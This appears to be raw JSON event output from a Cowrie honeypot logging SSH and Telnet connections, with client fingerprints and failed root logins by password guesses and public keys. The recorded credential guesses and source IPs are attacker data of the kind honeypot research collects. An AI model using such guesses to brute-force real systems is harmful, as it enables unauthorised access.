{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:00.256193Z","src_ip":"205.254.166.156","session":"9e52f2b03f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nobody7777","message":"login attempt [root/nobody7777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:01.129880Z","src_ip":"205.254.166.156","session":"9e52f2b03f46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:02.348412Z","src_ip":"205.254.166.156","session":"9e52f2b03f46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":57918,"dst_ip":"159.203.135.109","dst_port":22,"session":"a03d8508b8d5","protocol":"ssh","message":"New connection: 163.245.222.56:57918 (159.203.135.109:22) [session: a03d8508b8d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:05.969571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:05.979809Z","src_ip":"163.245.222.56","session":"a03d8508b8d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:05.988977Z","src_ip":"163.245.222.56","session":"a03d8508b8d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bbs123","message":"login attempt [root/bbs123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:06.069106Z","src_ip":"163.245.222.56","session":"a03d8508b8d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:07.078341Z","src_ip":"163.245.222.56","session":"a03d8508b8d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":39934,"dst_ip":"10.17.0.5","dst_port":23,"session":"23b11283eb5e","protocol":"telnet","message":"New connection: 167.71.238.254:39934 (10.17.0.5:23) [session: 23b11283eb5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:41.690900Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":39730,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3eef4c7d9b1","protocol":"ssh","message":"New connection: 2.27.36.16:39730 (159.203.135.109:22) [session: f3eef4c7d9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:56.722370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:56.726203Z","src_ip":"2.27.36.16","session":"f3eef4c7d9b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:56.825342Z","src_ip":"2.27.36.16","session":"f3eef4c7d9b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adm1n","message":"login attempt [root/adm1n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:57.262126Z","src_ip":"2.27.36.16","session":"f3eef4c7d9b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:58.365153Z","src_ip":"2.27.36.16","session":"f3eef4c7d9b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.212.244.18","src_port":34688,"dst_ip":"10.17.0.5","dst_port":22,"session":"b783ca3e83ba","protocol":"ssh","message":"New connection: 206.212.244.18:34688 (10.17.0.5:22) [session: b783ca3e83ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:03.978522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:03.989206Z","src_ip":"206.212.244.18","session":"b783ca3e83ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:04.002999Z","src_ip":"206.212.244.18","session":"b783ca3e83ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:ba:93:44:bd:09:7e:44:08:e1:ea:cf:2f:7f:84:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN1+4QH5QBz2GQ0nuQF5yWRjgEZdb20R/FdzNt5mjkW26oBg1HWW/gwPTFkkyiIbMMZPiGzDi/4S6KPJf6pouBpvt9feACaUgziYDl0JJNQBTk5QpXDUY2Wj0PUg0KI5R3xUoehllB6KjakPwsgAnbhtACNqIEzBaM46O34ehYn8GdRv7djUHMrT06JLZhpr43pb18wnijO8HV8G+fwRP4A94SQrP6h8OMgRWAHVwJiqIxq4YuJXFHECLuRG71B5DebdAjAeyUfxBa0ODVuYYx++nr1bFIo3Zc4WIZMaYWvjllW5oJLpF7rPvsUPU0sPXVZ4UTr/eiS8Fjr7cAo7dt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:ba:93:44:bd:09:7e:44:08:e1:ea:cf:2f:7f:84:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:04.047487Z","src_ip":"206.212.244.18","session":"b783ca3e83ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:ba:93:44:bd:09:7e:44:08:e1:ea:cf:2f:7f:84:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN1+4QH5QBz2GQ0nuQF5yWRjgEZdb20R/FdzNt5mjkW26oBg1HWW/gwPTFkkyiIbMMZPiGzDi/4S6KPJf6pouBpvt9feACaUgziYDl0JJNQBTk5QpXDUY2Wj0PUg0KI5R3xUoehllB6KjakPwsgAnbhtACNqIEzBaM46O34ehYn8GdRv7djUHMrT06JLZhpr43pb18wnijO8HV8G+fwRP4A94SQrP6h8OMgRWAHVwJiqIxq4YuJXFHECLuRG71B5DebdAjAeyUfxBa0ODVuYYx++nr1bFIo3Zc4WIZMaYWvjllW5oJLpF7rPvsUPU0sPXVZ4UTr/eiS8Fjr7cAo7dt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:04.052718Z","src_ip":"206.212.244.18","session":"b783ca3e83ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:73:97:b8:93:31:5c:55:0e:3c:e5:e9:94:cc:81:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDh9ZDb7kPeOI/17MUarYhU+9JuzfdU/2Ic3uTofQVHrTzKlkwQdTL7EUj+fq1X5ADlHjdiBTvH1VBL6HXsyC7GGL+K3tQnUlsK2yJ4hxPmLksPxSmoUHSurgVHtcP72UZ8JprovURx1KG5/vTBMSryEmg2FoDbwHsMGtgs97XCnNI+ZzhJWrru0Nzs1mAoTSvAhy45+J8C49sZ8Y36191G6j1dTsArRG1C6rMdxsfBLcnf9Sh2tuK/pcfgc6ZgbGXuXy0y+T3NOzGvcoUp95TaideKFI6kAkr3bn+WPLUVPaCdj/C9hGzEdQRmTl3YvOka5NUL3b6puoMg3zdl1WAbC32XjZaaBzKVK1kyqW/dM43oFYIqG6xsp91J8M8Lg+HsixgdxkEDWLzQoqF9YUifNIskd5KEVDu0E6FmQ1v1Rv74dD4Y4HjGk3qVrk3ysIhdZY/lfwEJeDpgIzUvtt64ndClMhTQzziy55FtSpZK4MobV/X9RvvN0Y8vB35U5FW64kcP+ll9/7/glnKMh4oYZuAvhNTsa1eXne/V02SDqugK0SfWq4YbHQxFK4filRN3ekdjFa2/tpDFOTIZN39pTE3r8Jz5/DbrKTmektkcPy/cyy0jMOwJQOI28zj37heP1RNlxeTxFVVtB8Kfyv7NgMBZOm1mROTTVFPDwJa6rQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:73:97:b8:93:31:5c:55:0e:3c:e5:e9:94:cc:81:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:04.068923Z","src_ip":"206.212.244.18","session":"b783ca3e83ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:73:97:b8:93:31:5c:55:0e:3c:e5:e9:94:cc:81:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDh9ZDb7kPeOI/17MUarYhU+9JuzfdU/2Ic3uTofQVHrTzKlkwQdTL7EUj+fq1X5ADlHjdiBTvH1VBL6HXsyC7GGL+K3tQnUlsK2yJ4hxPmLksPxSmoUHSurgVHtcP72UZ8JprovURx1KG5/vTBMSryEmg2FoDbwHsMGtgs97XCnNI+ZzhJWrru0Nzs1mAoTSvAhy45+J8C49sZ8Y36191G6j1dTsArRG1C6rMdxsfBLcnf9Sh2tuK/pcfgc6ZgbGXuXy0y+T3NOzGvcoUp95TaideKFI6kAkr3bn+WPLUVPaCdj/C9hGzEdQRmTl3YvOka5NUL3b6puoMg3zdl1WAbC32XjZaaBzKVK1kyqW/dM43oFYIqG6xsp91J8M8Lg+HsixgdxkEDWLzQoqF9YUifNIskd5KEVDu0E6FmQ1v1Rv74dD4Y4HjGk3qVrk3ysIhdZY/lfwEJeDpgIzUvtt64ndClMhTQzziy55FtSpZK4MobV/X9RvvN0Y8vB35U5FW64kcP+ll9/7/glnKMh4oYZuAvhNTsa1eXne/V02SDqugK0SfWq4YbHQxFK4filRN3ekdjFa2/tpDFOTIZN39pTE3r8Jz5/DbrKTmektkcPy/cyy0jMOwJQOI28zj37heP1RNlxeTxFVVtB8Kfyv7NgMBZOm1mROTTVFPDwJa6rQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:04.073811Z","src_ip":"206.212.244.18","session":"b783ca3e83ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:39:41:7a:23:7d:67:3f:01:8d:4b:9e:31:0d:b2:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnrbxefcFhJUTd2Tw1Zr0m8eWnxYBmbuSGrEXxC4gHUiJK0yZ3iGDMshurjhdyWHyzfo2xBcKbZmWd0NyNZ0GLi80vMwUes7GaBE4xDykfOsGAviu3NWYxBKM1Rpfml9wScUdipMwyjAsQX3g3EpgnrMvsV/tQjgXKl2eHqp+cBpQDs6BtyEucaBqRW04vrqmikItveLi/hfyEqzIhTkjRH9arjb71k0iPM3mySniTjo0VUcxEb/cJD44ScVjw4w1ZHCkKALVdswuqy03RqHkUoBRI6qDfH4i0Vn/ZttiJ/CtUoMHFUCVhUjx9aVdH2uvS92fcHAPrQNyxI1rO4pL9/Mz5oy91WnAU2fWSF6qmWD5J/UFrV+uiHHLpPWWCZWWaTlQApt1vXI218MA2en7gjE5PD+EpEwfXtYNlSJ8I5LhZd5murW0Oe4VLBujudjlebKpbddpP0QSrIsA4rxWecm/G5oVjdD+ZNiWWp5sRB7cXJwgBbbWzQ+wjkil8ds+c0yAjPQirTjwA9K1loM7hcX3sAXh2WyJUSmXB//UJgNk5q9x0/oq48u2qitnPAUsZbwqvHBek9AbVbCn09m39SMFADKfkMuvYTeVMMWPMz/bCni49bivQF2c3skEe15G59F73bMsqJw4D3R4RbHRcj6tzcob96RfMUJ/ZFrIvJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:39:41:7a:23:7d:67:3f:01:8d:4b:9e:31:0d:b2:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:04.090609Z","src_ip":"206.212.244.18","session":"b783ca3e83ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:39:41:7a:23:7d:67:3f:01:8d:4b:9e:31:0d:b2:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnrbxefcFhJUTd2Tw1Zr0m8eWnxYBmbuSGrEXxC4gHUiJK0yZ3iGDMshurjhdyWHyzfo2xBcKbZmWd0NyNZ0GLi80vMwUes7GaBE4xDykfOsGAviu3NWYxBKM1Rpfml9wScUdipMwyjAsQX3g3EpgnrMvsV/tQjgXKl2eHqp+cBpQDs6BtyEucaBqRW04vrqmikItveLi/hfyEqzIhTkjRH9arjb71k0iPM3mySniTjo0VUcxEb/cJD44ScVjw4w1ZHCkKALVdswuqy03RqHkUoBRI6qDfH4i0Vn/ZttiJ/CtUoMHFUCVhUjx9aVdH2uvS92fcHAPrQNyxI1rO4pL9/Mz5oy91WnAU2fWSF6qmWD5J/UFrV+uiHHLpPWWCZWWaTlQApt1vXI218MA2en7gjE5PD+EpEwfXtYNlSJ8I5LhZd5murW0Oe4VLBujudjlebKpbddpP0QSrIsA4rxWecm/G5oVjdD+ZNiWWp5sRB7cXJwgBbbWzQ+wjkil8ds+c0yAjPQirTjwA9K1loM7hcX3sAXh2WyJUSmXB//UJgNk5q9x0/oq48u2qitnPAUsZbwqvHBek9AbVbCn09m39SMFADKfkMuvYTeVMMWPMz/bCni49bivQF2c3skEe15G59F73bMsqJw4D3R4RbHRcj6tzcob96RfMUJ/ZFrIvJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:04.095534Z","src_ip":"206.212.244.18","session":"b783ca3e83ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:6e:58:80:d3:2f:77:44:e3:62:e2:26:94:98:14:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCheMtYh6bsqy5LbQnn06RTSHJTajWdyu611JctBSVkHeg0qgyQWlgu/CCDG0eAH5EkgarDifNHEi9xWRm2uBWwggCz5eSmpBCPrzapHNSCdIWOHw5Nq+tvTew7oSUf1QauEjbgcgQTYn4d135rE0vkpNSPfRXW/ITA8s5MYz4ubwqpvvL7wI/W6bSAH3LtUXB1/ePZD8e+KNCtTLIoO8TaP5Zr2mFa7JZI0A3+qSVuGwbYMg1OtqLz44rB7guswXaXmKRD2JBfpBsiHGAVXG0Lynmccz67P7Q/yskCXwLoamweDv1tqZGOk8nCcJ30pbw0RfwBDaYQJW7I6R87VXxAWS8vu7MJPUU4IeNoiMbVaZxf5G7Dl277h77nGSGkr+H5z4MLJZTaSMqhau8Sa4uw1rvk4yca5sWwBrFDP0Mha5uA6+favZeNBHni9vl15foV56TLMmG+OBy8pTjBr6utZNxYVUebMG2CbE6PZEq83VjN1yPkaOWckyhfeDh1Bm3wXd331tqfJlbMhzXWt2ebhcOh3sXpYeUhC6LGD1IoHOnx1AfyNNww5QG9S3F00RLdB3M+UdPCc9CrNI1BfU3OYXHEywQUL2/+QYCYp5fWb6lMHN0BTxD6vuGrPYUxic85QQlVPiUjHcOhAPyXG4DmZOA+fEI5mBS8wvqK+tstbQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:6e:58:80:d3:2f:77:44:e3:62:e2:26:94:98:14:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:04.110468Z","src_ip":"206.212.244.18","session":"b783ca3e83ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:6e:58:80:d3:2f:77:44:e3:62:e2:26:94:98:14:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCheMtYh6bsqy5LbQnn06RTSHJTajWdyu611JctBSVkHeg0qgyQWlgu/CCDG0eAH5EkgarDifNHEi9xWRm2uBWwggCz5eSmpBCPrzapHNSCdIWOHw5Nq+tvTew7oSUf1QauEjbgcgQTYn4d135rE0vkpNSPfRXW/ITA8s5MYz4ubwqpvvL7wI/W6bSAH3LtUXB1/ePZD8e+KNCtTLIoO8TaP5Zr2mFa7JZI0A3+qSVuGwbYMg1OtqLz44rB7guswXaXmKRD2JBfpBsiHGAVXG0Lynmccz67P7Q/yskCXwLoamweDv1tqZGOk8nCcJ30pbw0RfwBDaYQJW7I6R87VXxAWS8vu7MJPUU4IeNoiMbVaZxf5G7Dl277h77nGSGkr+H5z4MLJZTaSMqhau8Sa4uw1rvk4yca5sWwBrFDP0Mha5uA6+favZeNBHni9vl15foV56TLMmG+OBy8pTjBr6utZNxYVUebMG2CbE6PZEq83VjN1yPkaOWckyhfeDh1Bm3wXd331tqfJlbMhzXWt2ebhcOh3sXpYeUhC6LGD1IoHOnx1AfyNNww5QG9S3F00RLdB3M+UdPCc9CrNI1BfU3OYXHEywQUL2/+QYCYp5fWb6lMHN0BTxD6vuGrPYUxic85QQlVPiUjHcOhAPyXG4DmZOA+fEI5mBS8wvqK+tstbQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:04.114766Z","src_ip":"206.212.244.18","session":"b783ca3e83ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:98:e3:b8:96:e6:ae:43:ce:a3:25:2a:6c:0f:1b:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTznbJEFF6aKaW35LueQnqPFeeLqG1PROmQ+WxpTSizKVek6fbsyZ7jHHR5PAs0++LMYeloiorfYhungR5S0hsKIiIoRbSnshQGPHiju8BZn89cAjz3RDl3syuN7Hu12z7uVv6kwDvJnf7BmMRL+00VSBeBspKB1rT80AES1HqU4SlAshVC2fektB0XqYmvagSQKyOsrnKhchPGCqPFHrHyupmH6JBCDlYDL/rqsoYDwkFkYydu5wyMRFT36JFl9AVZ/8DflnLw/hZ5imX/jkyjuqslnq2splDuFYxWCUC3JWSVV87kiAV+ol/gT8oA1+J9b4xf1QZ10HJaXmSYRScZiw229jNqc40mJqDiblRwfNbu6sM6Q74ShwjCHzonyluKAIXtPeoev9M/eom/eLWuzkxx8eFByWVfrLI2ebL8x5Eh7EnoFd3joByj0B87N9vypff/bsiVBoC91ee07tG21/kWrYPPQ74s3FjEvecW6cLQNGIZWjqvrsldHvXoLzzc13kx9d1bJnUnbNLb0WO3p2hCT196HBmAcH7rgxvqronna2sJ0xDCmIb43O9obAlQkMAvNj74kYu+HwxIrMq3tikDvTMmJzKWSoYiBsKbPLHjNoWvpbvrV8W3In5Pdatnz0yXPl/2VORreP5aQqBaUKRYydAdZbFQ7XNJIAdKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:98:e3:b8:96:e6:ae:43:ce:a3:25:2a:6c:0f:1b:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:49:04.129276Z","src_ip":"206.212.244.18","session":"b783ca3e83ba","protocol":"ssh"}
